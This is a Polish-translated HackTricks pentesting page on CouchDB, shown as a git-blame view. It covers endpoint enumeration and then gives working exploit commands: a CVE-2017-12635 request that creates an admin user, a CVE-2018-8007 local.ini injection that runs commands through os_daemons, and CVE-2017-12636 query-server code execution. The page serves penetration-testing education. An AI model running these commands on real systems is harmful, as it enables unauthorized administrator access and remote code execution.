hacktricks/network-services-pentesting/5984-pentesting-couchdb.md

379 lines
23 KiB
Markdown
Raw Normal View History

2024-02-11 01:46:25 +00:00
# 5984,6984 - Testowanie penetracyjne CouchDB
2022-04-28 16:01:33 +00:00
<details>
2024-02-11 01:46:25 +00:00
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 01:46:25 +00:00
Inne sposoby wsparcia HackTricks:
2022-04-28 16:01:33 +00:00
2024-02-11 01:46:25 +00:00
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
2024-02-11 01:46:25 +00:00
## **Podstawowe informacje**
2024-02-11 01:46:25 +00:00
**CouchDB** to wszechstronna i potężna **baza danych zorientowana na dokumenty**, która organizuje dane za pomocą struktury **mapy klucz-wartość** wewnątrz każdego **dokumentu**. Pola wewnątrz dokumentu mogą być reprezentowane jako **pary klucz/wartość, listy lub mapy**, co zapewnia elastyczność w przechowywaniu i pobieraniu danych.
2024-02-11 01:46:25 +00:00
Każdemu **dokumentowi** przechowywanemu w CouchDB przypisywany jest **unikalny identyfikator** (`_id`) na poziomie dokumentu. Ponadto, każda modyfikacja dokonana i zapisana w bazie danych otrzymuje **numer rewizji** (`_rev`). Numer tej rewizji umożliwia efektywne **śledzenie i zarządzanie zmianami**, ułatwiając łatwe pobieranie i synchronizację danych w bazie danych.
2024-02-11 01:46:25 +00:00
**Domyślny port:** 5984 (http), 6984 (https)
2022-05-01 13:25:53 +00:00
```
PORT STATE SERVICE REASON
5984/tcp open unknown syn-ack
```
2024-02-11 01:46:25 +00:00
## **Automatyczne wyliczanie**
CouchDB jest bazą danych NoSQL, która może być podatna na różne ataki. Przed przystąpieniem do testowania penetracyjnego CouchDB, warto przeprowadzić automatyczne wyliczanie, aby zidentyfikować dostępne zasoby i potencjalne luki w zabezpieczeniach.
### **Nmap**
Nmap jest popularnym narzędziem do skanowania sieci, które może być używane do wykrywania otwartych portów i usług na hoście. Możemy użyć Nmap do skanowania portów CouchDB, aby sprawdzić, czy serwer CouchDB jest dostępny.
```bash
nmap -p 5984 <adres_IP>
```
2024-02-11 01:46:25 +00:00
### **CouchDB Fauxton**
CouchDB Fauxton to interfejs użytkownika dostępny w przeglądarce, który umożliwia zarządzanie bazą danych CouchDB. Możemy użyć Fauxtona do automatycznego wyliczania dostępnych baz danych i dokumentów.
2024-02-11 01:46:25 +00:00
```bash
http://<adres_IP>:5984/_utils/
```
### **CouchDB API**
CouchDB udostępnia API, które umożliwia interakcję z bazą danych za pomocą żądań HTTP. Możemy użyć API, aby automatycznie wyliczyć dostępne bazy danych, dokumenty i widoki.
```bash
GET http://<adres_IP>:5984/_all_dbs
GET http://<adres_IP>:5984/<nazwa_bazy_danych>
GET http://<adres_IP>:5984/<nazwa_bazy_danych>/<id_dokumentu>
GET http://<adres_IP>:5984/<nazwa_bazy_danych>/_design/<nazwa_widoku>/_view/<nazwa_widoku>
```
### **CouchDB-Lucene**
CouchDB-Lucene to rozszerzenie, które umożliwia pełnotekstowe wyszukiwanie w bazie danych CouchDB. Możemy użyć CouchDB-Lucene do automatycznego wyliczania dostępnych indeksów i wyszukiwań.
```bash
http://<adres_IP>:5984/_fti/
```
### **CouchDB-Enum**
CouchDB-Enum to narzędzie napisane w języku Python, które automatycznie wylicza dostępne bazy danych, dokumenty i widoki w bazie danych CouchDB.
```bash
python couchdb-enum.py <adres_IP>
```
Automatyczne wyliczanie jest ważnym krokiem podczas testowania penetracyjnego CouchDB, ponieważ pomaga zidentyfikować potencjalne luki w zabezpieczeniach i dostępne zasoby, które mogą być wykorzystane podczas ataku.
```bash
nmap -sV --script couchdb-databases,couchdb-stats -p <PORT> <IP>
msf> use auxiliary/scanner/couchdb/couchdb_enum
```
2024-02-11 01:46:25 +00:00
### Baner
2024-02-11 01:46:25 +00:00
CouchDB exposes a banner that can provide useful information about the version and configuration of the server. This information can be obtained by sending a GET request to the root URL of the CouchDB server.
2020-07-16 17:00:59 +00:00
2024-02-11 01:46:25 +00:00
```plaintext
GET /
```
2024-02-11 01:46:25 +00:00
The response will include the server banner, which typically includes the version number and other details.
### Version Detection
CouchDB version detection can be performed by analyzing the server banner or by sending a GET request to the `_utils` endpoint.
```plaintext
GET /_utils/
2022-05-01 13:25:53 +00:00
```
2024-02-11 01:46:25 +00:00
The response will include the version number of CouchDB.
### Database Enumeration
To enumerate the databases hosted on a CouchDB server, send a GET request to the `_all_dbs` endpoint.
```plaintext
GET /_all_dbs
```
The response will include a list of all the databases on the server.
### Document Enumeration
To enumerate the documents within a specific database, send a GET request to the `_all_docs` endpoint.
```plaintext
GET /<database_name>/_all_docs
```
The response will include a list of all the documents within the specified database.
### User Enumeration
To enumerate the users registered on a CouchDB server, send a GET request to the `_users` endpoint.
```plaintext
GET /_users
```
The response will include a list of all the registered users.
### View Enumeration
To enumerate the views defined within a specific database, send a GET request to the `_design/<design_document>/_view` endpoint.
```plaintext
GET /<database_name>/_design/<design_document>/_view
```
The response will include a list of all the views defined within the specified database.
### Replication Enumeration
To enumerate the replications configured on a CouchDB server, send a GET request to the `_replicator` endpoint.
```plaintext
GET /_replicator
```
The response will include a list of all the configured replications.
### Privilege Enumeration
To enumerate the privileges assigned to users on a CouchDB server, send a GET request to the `_security` endpoint.
```plaintext
GET /_security
```
2024-02-11 01:46:25 +00:00
The response will include information about the privileges assigned to users.
2024-02-11 01:46:25 +00:00
### Cluster Enumeration
To enumerate the nodes in a CouchDB cluster, send a GET request to the `_membership` endpoint.
```plaintext
GET /_membership
```
The response will include information about the nodes in the cluster.
```
curl http://IP:5984/
```
To wywołuje żądanie GET do zainstalowanej instancji CouchDB. Odpowiedź powinna wyglądać mniej więcej tak jak jedno z poniższych:
```bash
{"couchdb":"Welcome","version":"0.10.1"}
2020-07-16 17:00:59 +00:00
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
```
2020-07-16 19:40:43 +00:00
{% hint style="info" %}
2024-02-11 01:46:25 +00:00
Zauważ, że jeśli dostęp do głównego katalogu couchdb otrzymasz `401 Unauthorized` z czymś takim jak to: `{"error":"unauthorized","reason":"Authentication required."}` **nie będziesz w stanie uzyskać** dostępu do baneru ani żadnego innego punktu końcowego.
2020-07-16 19:40:43 +00:00
{% endhint %}
2024-02-11 01:46:25 +00:00
### Wyliczanie informacji
2020-07-16 19:27:28 +00:00
2024-02-11 01:46:25 +00:00
Oto punkty końcowe, do których można uzyskać dostęp za pomocą żądania **GET** i wyodrębnić pewne interesujące informacje. Możesz znaleźć [**więcej punktów końcowych i bardziej szczegółowe opisy w dokumentacji couchdb**](https://docs.couchdb.org/en/latest/api/index.html).
2020-07-16 19:27:28 +00:00
2024-02-11 01:46:25 +00:00
* **`/_active_tasks`** Lista uruchomionych zadań, w tym typ zadania, nazwa, status i identyfikator procesu.
* **`/_all_dbs`** Zwraca listę wszystkich baz danych w instancji CouchDB.
* **`/_cluster_setup`** Zwraca stan węzła lub klastra zgodnie z kreatora konfiguracji klastra.
* **`/_db_updates`** Zwraca listę wszystkich zdarzeń bazy danych w instancji CouchDB. Istnienie bazy danych `_global_changes` jest wymagane do korzystania z tego punktu końcowego.
* **`/_membership`** Wyświetla węzły, które są częścią klastra jako `cluster_nodes`. Pole `all_nodes` wyświetla wszystkie węzły, o których ten węzeł wie, w tym te, które są częścią klastra.
* **`/_scheduler/jobs`** Lista zadań replikacji. Każdy opis zadania będzie zawierał informacje o źródle i celu, identyfikatorze replikacji, historii ostatnich zdarzeń i kilku innych rzeczach.
* **`/_scheduler/docs`** Lista stanów dokumentów replikacji. Zawiera informacje o wszystkich dokumentach, nawet w stanach `completed` i `failed`. Dla każdego dokumentu zwraca identyfikator dokumentu, bazę danych, identyfikator replikacji, źródło i cel, oraz inne informacje.
2020-07-16 19:27:28 +00:00
* **`/_scheduler/docs/{replicator_db}`**
* **`/_scheduler/docs/{replicator_db}/{docid}`**
2024-02-11 01:46:25 +00:00
* **`/_node/{node-name}`** Punktem końcowym `/_node/{node-name}` można potwierdzić nazwę węzła Erlang serwera przetwarzającego żądanie. Jest to najbardziej przydatne podczas dostępu do `/_node/_local` w celu pobrania tych informacji.
* **`/_node/{node-name}/_stats`** Zasób `_stats` zwraca obiekt JSON zawierający statystyki działającego serwera. Dosłowny ciąg znaków `_local` służy jako alias dla lokalnej nazwy węzła, więc dla wszystkich adresów URL statystyk, `{node-name}` można zastąpić `_local`, aby działać na statystykach lokalnego węzła.
* **`/_node/{node-name}/_system`** Zasób \_system zwraca obiekt JSON zawierający różne statystyki na poziomie systemu działającego serwera\_.\_ Możesz użyć \_\_`_local` jako {node-name} aby uzyskać informacje o bieżącym węźle.
2020-07-16 19:27:28 +00:00
* **`/_node/{node-name}/_restart`**
2024-02-11 01:46:25 +00:00
* **`/_up`** Potwierdza, że serwer jest uruchomiony, działa i gotowy do odpowiedzi na żądania. Jeśli [`maintenance_mode`](https://docs.couchdb.org/en/latest/config/couchdb.html#couchdb/maintenance\_mode) jest `true` lub `nolb`, punkt końcowy zwróci odpowiedź 404.
* **`/_uuids`** Wysyła żądanie o jedno lub więcej unikalnych identyfikatorów UUID z instancji CouchDB.
* **`/_reshard`** Zwraca liczbę ukończonych, nieudanych, uruchomionych, zatrzymanych i wszystkich zadań wraz ze stanem przeprowadzania operacji resharding na klastrze.
2020-07-20 15:31:30 +00:00
2024-02-11 01:46:25 +00:00
Więcej interesujących informacji można wyodrębnić, jak wyjaśniono tutaj: [https://lzone.de/cheat-sheet/CouchDB](https://lzone.de/cheat-sheet/CouchDB)
2024-02-11 01:46:25 +00:00
### **Lista baz danych**
2022-05-01 13:25:53 +00:00
```
curl -X GET http://IP:5984/_all_dbs
```
2024-02-11 01:46:25 +00:00
Jeśli żądanie odpowiada **401 unauthorised**, to potrzebujesz **poprawnych danych uwierzytelniających**, aby uzyskać dostęp do bazy danych:
2022-05-01 13:25:53 +00:00
```
curl -X GET http://user:password@IP:5984/_all_dbs
```
2024-02-11 01:46:25 +00:00
Aby znaleźć prawidłowe dane uwierzytelniające, można **spróbować** [**przeprowadzić atak brutalnej siły**](../generic-methodologies-and-resources/brute-force.md#couchdb).
2024-02-11 01:46:25 +00:00
Poniżej znajduje się **przykład** odpowiedzi couchdb, gdy masz **wystarczające uprawnienia** do wyświetlania listy baz danych (to tylko lista baz danych):
```bash
2020-07-16 17:00:59 +00:00
["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]
```
2024-02-11 01:46:25 +00:00
### Informacje o bazie danych
2024-02-11 01:46:25 +00:00
Możesz uzyskać pewne informacje o bazie danych (takie jak liczba plików i rozmiary) poprzez dostęp do nazwy bazy danych:
2020-07-16 17:00:59 +00:00
```bash
curl http://IP:5984/<database>
curl http://localhost:5984/simpsons
#Example response:
{"db_name":"simpsons","update_seq":"7-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQmPoiQFIJlkD1bHjE-dA0hdPFgdAz51CSB19WB1jHjU5bEASYYGIAVUOp8YtQsgavfjtx-i9gBE7X1i1D6AqAX5KwsA2vVvNQ","sizes":{"file":62767,"external":1320,"active":2466},"purge_seq":0,"other":{"data_size":1320},"doc_del_count":0,"doc_count":7,"disk_size":62767,"disk_format_version":6,"data_size":2466,"compact_running":false,"instance_start_time":"0"}
```
2024-02-11 01:46:25 +00:00
### **Lista dokumentów**
2024-02-11 01:46:25 +00:00
Wypisz każdy wpis wewnątrz bazy danych
```bash
2020-07-16 17:00:59 +00:00
curl -X GET http://IP:5984/{dbname}/_all_docs
curl http://localhost:5984/simpsons/_all_docs
#Example response:
{"total_rows":7,"offset":0,"rows":[
{"id":"f0042ac3dc4951b51f056467a1000dd9","key":"f0042ac3dc4951b51f056467a1000dd9","value":{"rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329"}},
{"id":"f53679a526a868d44172c83a61000d86","key":"f53679a526a868d44172c83a61000d86","value":{"rev":"1-7b8ec9e1c3e29b2a826e3d14ea122f6e"}},
{"id":"f53679a526a868d44172c83a6100183d","key":"f53679a526a868d44172c83a6100183d","value":{"rev":"1-e522ebc6aca87013a89dd4b37b762bd3"}},
{"id":"f53679a526a868d44172c83a61002980","key":"f53679a526a868d44172c83a61002980","value":{"rev":"1-3bec18e3b8b2c41797ea9d61a01c7cdc"}},
{"id":"f53679a526a868d44172c83a61003068","key":"f53679a526a868d44172c83a61003068","value":{"rev":"1-3d2f7da6bd52442e4598f25cc2e84540"}},
{"id":"f53679a526a868d44172c83a61003a2a","key":"f53679a526a868d44172c83a61003a2a","value":{"rev":"1-4446bfc0826ed3d81c9115e450844fb4"}},
{"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}}
]}
```
2024-02-11 01:46:25 +00:00
### **Odczytaj dokument**
2024-02-11 01:46:25 +00:00
Odczytaj zawartość dokumentu wewnątrz bazy danych:
```bash
curl -X GET http://IP:5984/{dbname}/{id}
2020-07-16 17:00:59 +00:00
curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
#Example response:
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}
```
2024-02-11 01:46:25 +00:00
## Eskalacja uprawnień w CouchDB [CVE-2017-12635](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-12635)
2024-02-11 01:46:25 +00:00
Dzięki różnicom między parserami JSON w Erlangu i JavaScript można **utworzyć użytkownika admina** o danych uwierzytelniających `hacktricks:hacktricks` za pomocą następującego żądania:
2020-07-16 17:00:59 +00:00
```bash
curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"
```
2024-02-11 01:46:25 +00:00
[**Więcej informacji na temat tej luki znajdziesz tutaj**](https://justi.cz/security/2017/11/14/couchdb-rce-npm.html).
2020-07-16 17:00:59 +00:00
2022-05-01 13:25:53 +00:00
## CouchDB RCE
2020-07-16 18:41:33 +00:00
2024-02-11 01:46:25 +00:00
### **Przegląd zabezpieczeń pliku cookie Erlang**
2020-07-16 18:41:33 +00:00
2024-02-11 01:46:25 +00:00
Przykład [stąd](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
2020-07-16 18:41:33 +00:00
2024-02-11 01:46:25 +00:00
W dokumentacji CouchDB, konkretnie w sekcji dotyczącej konfiguracji klastra ([link](http://docs.couchdb.org/en/stable/cluster/setup.html#cluster-setup)), omawiane jest wykorzystanie portów przez CouchDB w trybie klastra. Wspomina się, że, podobnie jak w trybie samodzielnym, używany jest port `5984`. Dodatkowo, port `5986` jest przeznaczony dla lokalnych interfejsów API węzła, a co ważne, Erlang wymaga portu TCP `4369` dla Erlang Port Mapper Daemon (EPMD), który umożliwia komunikację między węzłami w klastrze Erlang. Ta konfiguracja tworzy sieć, w której każdy węzeł jest połączony z każdym innym węzłem.
2020-07-16 18:41:33 +00:00
2024-02-11 01:46:25 +00:00
Podkreślono istotne zalecenie dotyczące portu `4369`. Jeśli ten port jest dostępny przez Internet lub jakąkolwiek niewiarygodną sieć, bezpieczeństwo systemu w dużej mierze zależy od unikalnego identyfikatora znanego jako "cookie". To cookie działa jako zabezpieczenie. Na przykład, w danym procesie można zauważyć cookie o nazwie "monster", co wskazuje na jego rolę w ramach struktury zabezpieczeń systemu.
2022-05-01 13:25:53 +00:00
```
2020-07-16 18:41:33 +00:00
www-data@canape:/$ ps aux | grep couchdb
root 744 0.0 0.0 4240 640 ? Ss Sep13 0:00 runsv couchdb
root 811 0.0 0.0 4384 800 ? S Sep13 0:00 svlogd -tt /var/log/couchdb
homer 815 0.4 3.4 649348 34524 ? Sl Sep13 5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b
```
2024-02-11 01:46:25 +00:00
Dla zainteresowanych zrozumieniem, jak można wykorzystać "cookie" do zdalnego wykonania kodu (RCE) w kontekście systemów Erlang, dostępna jest dedykowana sekcja do dalszego czytania. Szczegółowo opisuje ona metody wykorzystywania plików cookie Erlang w nieautoryzowany sposób w celu uzyskania kontroli nad systemami. Możesz **[zapoznać się z szczegółowym przewodnikiem dotyczącym nadużywania plików cookie Erlang do RCE tutaj](4369-pentesting-erlang-port-mapper-daemon-epmd.md#erlang-cookie-rce)**.
2020-07-16 18:41:33 +00:00
2024-02-11 01:46:25 +00:00
### **Wykorzystanie CVE-2018-8007 poprzez modyfikację local.ini**
2020-07-16 18:41:33 +00:00
2024-02-11 01:46:25 +00:00
Przykład [stąd](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
2020-07-16 18:41:33 +00:00
2024-02-11 01:46:25 +00:00
Zbadano niedawno ujawnioną podatność, CVE-2018-8007, dotyczącą Apache CouchDB, która ujawniła, że do jej wykorzystania wymagane są uprawnienia do zapisu pliku `local.ini`. Chociaż nie jest to bezpośrednio zastosowalne do początkowego systemu docelowego ze względu na ograniczenia bezpieczeństwa, dokonano modyfikacji w celu przyznania dostępu do zapisu pliku `local.ini` w celach badawczych. Poniżej przedstawiono szczegółowe kroki i przykłady kodu, które ilustrują ten proces.
2024-02-08 21:36:35 +00:00
2024-02-11 01:46:25 +00:00
Najpierw przygotowuje się środowisko, upewniając się, że plik `local.ini` jest zapisywalny, co można zweryfikować, wyświetlając uprawnienia:
2024-02-08 21:36:35 +00:00
```bash
2020-07-16 18:41:33 +00:00
root@canape:/home/homer/etc# ls -l
-r--r--r-- 1 homer homer 18477 Jan 20 2018 default.ini
-rw-rw-rw- 1 homer homer 4841 Sep 14 17:39 local.ini
-r--r--r-- 1 root root 4841 Sep 14 14:30 local.ini.bk
-r--r--r-- 1 homer homer 1345 Jan 14 2018 vm.args
```
2024-02-11 01:46:25 +00:00
Aby wykorzystać podatność, wykonuje się polecenie curl, które jest skierowane na konfigurację `cors/origins` w pliku `local.ini`. Wstrzykuje to nowe źródło wraz z dodatkowymi poleceniami w sekcji `[os_daemons]`, mającym na celu wykonanie dowolnego kodu:
2021-05-25 23:11:03 +00:00
```bash
2020-07-16 18:41:33 +00:00
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"
```
2024-02-11 01:46:25 +00:00
Kolejna weryfikacja pokazuje wstrzykniętą konfigurację w `local.ini`, porównując ją z kopią zapasową, aby uwidocznić zmiany:
2024-02-08 21:36:35 +00:00
```bash
2020-07-16 18:41:33 +00:00
root@canape:/home/homer/etc# diff local.ini local.ini.bk
119,124d118
< [cors]
< origins = 0xdf
< [os_daemons]
< test_daemon = /usr/bin/touch /tmp/0xdf
```
2024-02-11 01:46:25 +00:00
Początkowo oczekiwany plik (`/tmp/0xdf`) nie istnieje, co wskazuje, że wstrzyknięta komenda nie została jeszcze wykonana. Dalsze dochodzenie ujawnia, że działają procesy związane z CouchDB, w tym jeden, który potencjalnie może wykonać wstrzykniętą komendę:
2024-02-08 21:36:35 +00:00
```bash
2020-07-16 18:41:33 +00:00
root@canape:/home/homer/bin# ps aux | grep couch
```
2024-02-11 01:46:25 +00:00
Poprzez zakończenie zidentyfikowanego procesu CouchDB i umożliwienie systemowi automatycznego ponownego uruchomienia, zostaje uruchomione wykonanie wstrzykniętej komendy, co potwierdza istnienie wcześniej brakującego pliku:
2024-02-08 21:36:35 +00:00
```bash
2020-07-16 18:41:33 +00:00
root@canape:/home/homer/etc# kill 711
root@canape:/home/homer/etc# ls /tmp/0xdf
/tmp/0xdf
```
2024-02-11 01:46:25 +00:00
To badanie potwierdza możliwość wykorzystania CVE-2018-8007 w określonych warunkach, zwłaszcza wymagane jest uprawnienie do zapisu pliku `local.ini`. Przedstawione przykłady kodu i kroki proceduralne oferują jasny przewodnik po replikacji ataku w kontrolowanym środowisku.
2020-07-16 18:41:33 +00:00
2024-02-11 01:46:25 +00:00
Aby uzyskać więcej szczegółów na temat CVE-2018-8007, odwołaj się do komunikatu firmy mdsec: [CVE-2018-8007](https://www.mdsec.co.uk/2018/08/advisory-cve-2018-8007-apache-couchdb-remote-code-execution/).
2020-07-16 18:41:33 +00:00
2024-02-11 01:46:25 +00:00
### **Badanie CVE-2017-12636 z uprawnieniami do zapisu w local.ini**
2020-07-16 18:41:33 +00:00
2024-02-11 01:46:25 +00:00
Przykład [stąd](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
2020-07-16 18:41:33 +00:00
2024-02-11 01:46:25 +00:00
Zbadano podatność znana jako CVE-2017-12636, która umożliwia wykonanie kodu za pośrednictwem procesu CouchDB, chociaż określone konfiguracje mogą uniemożliwić jej wykorzystanie. Pomimo dostępności wielu przykładów Proof of Concept (POC) online, konieczne są dostosowania, aby wykorzystać podatność w wersji CouchDB 2, różniącej się od powszechnie atakowanej wersji 1.x. Pierwsze kroki polegają na sprawdzeniu wersji CouchDB i potwierdzeniu braku oczekiwanej ścieżki serwerów zapytań.
2021-05-25 23:11:03 +00:00
```bash
2024-02-08 21:36:35 +00:00
curl http://localhost:5984
curl http://0xdf:df@localhost:5984/_config/query_servers/
2020-07-16 18:41:33 +00:00
```
2024-02-11 01:46:25 +00:00
Aby dostosować się do wersji CouchDB 2.0, używana jest nowa ścieżka:
2021-05-25 23:11:03 +00:00
```bash
2024-02-08 21:36:35 +00:00
curl 'http://0xdf:df@localhost:5984/_membership'
curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers
2020-07-16 18:41:33 +00:00
```
2024-02-11 01:46:25 +00:00
Próby dodania i wywołania nowego serwera zapytań napotkały błędy związane z uprawnieniami, o czym świadczy poniższy wynik:
2021-05-25 23:11:03 +00:00
```bash
2024-02-08 21:36:35 +00:00
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
2020-07-16 18:41:33 +00:00
```
2024-02-11 01:46:25 +00:00
Dalsze dochodzenie wykazało problemy z uprawnieniami pliku `local.ini`, który nie był zapisywalny. Poprzez modyfikację uprawnień pliku za pomocą dostępu root lub homer, możliwe stało się kontynuowanie:
2021-05-25 23:11:03 +00:00
```bash
2024-02-08 21:36:35 +00:00
cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
chmod 666 /home/homer/etc/local.ini
2020-07-16 18:41:33 +00:00
```
2024-02-11 01:46:25 +00:00
Następne próby dodania serwera zapytań zakończyły się sukcesem, co potwierdzają brak komunikatów o błędach w odpowiedzi. Pomyślna modyfikacja pliku `local.ini` została potwierdzona poprzez porównanie plików:
2021-05-25 23:11:03 +00:00
```bash
2024-02-08 21:36:35 +00:00
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
2020-07-16 18:41:33 +00:00
```
2024-02-11 01:46:25 +00:00
Proces kontynuowano poprzez utworzenie bazy danych i dokumentu, a następnie próbę wykonania kodu za pomocą niestandardowego mapowania widoku do nowo dodanego serwera zapytań:
```bash
2024-02-08 21:36:35 +00:00
curl -X PUT 'http://0xdf:df@localhost:5984/df'
curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}'
2020-07-16 18:41:33 +00:00
```
2024-02-11 01:46:25 +00:00
**[Podsumowanie](https://github.com/carlospolop/hacktricks/pull/116/commits/e505cc2b557610ef5cce09df6a14b10caf8f75a0)** z alternatywnym ładunkiem dostarcza dalszych informacji na temat wykorzystania CVE-2017-12636 w określonych warunkach. **Przydatne zasoby** do wykorzystania tej podatności obejmują:
2020-07-16 18:41:33 +00:00
2024-02-11 01:46:25 +00:00
- [Kod exploitu POC](https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/exp.py)
- [Wpis w bazie Exploit Database](https://www.exploit-db.com/exploits/44913/)
2021-05-25 23:11:03 +00:00
2022-05-01 13:25:53 +00:00
## Shodan
2020-10-05 10:14:02 +00:00
* `port:5984 couchdb`
2024-02-11 01:46:25 +00:00
## Referencje
* [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
2022-05-01 13:25:53 +00:00
* [https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)
2022-04-28 16:01:33 +00:00
<details>
2024-02-11 01:46:25 +00:00
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-11 01:46:25 +00:00
Inne sposoby wsparcia HackTricks:
2022-04-28 16:01:33 +00:00
2024-02-11 01:46:25 +00:00
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>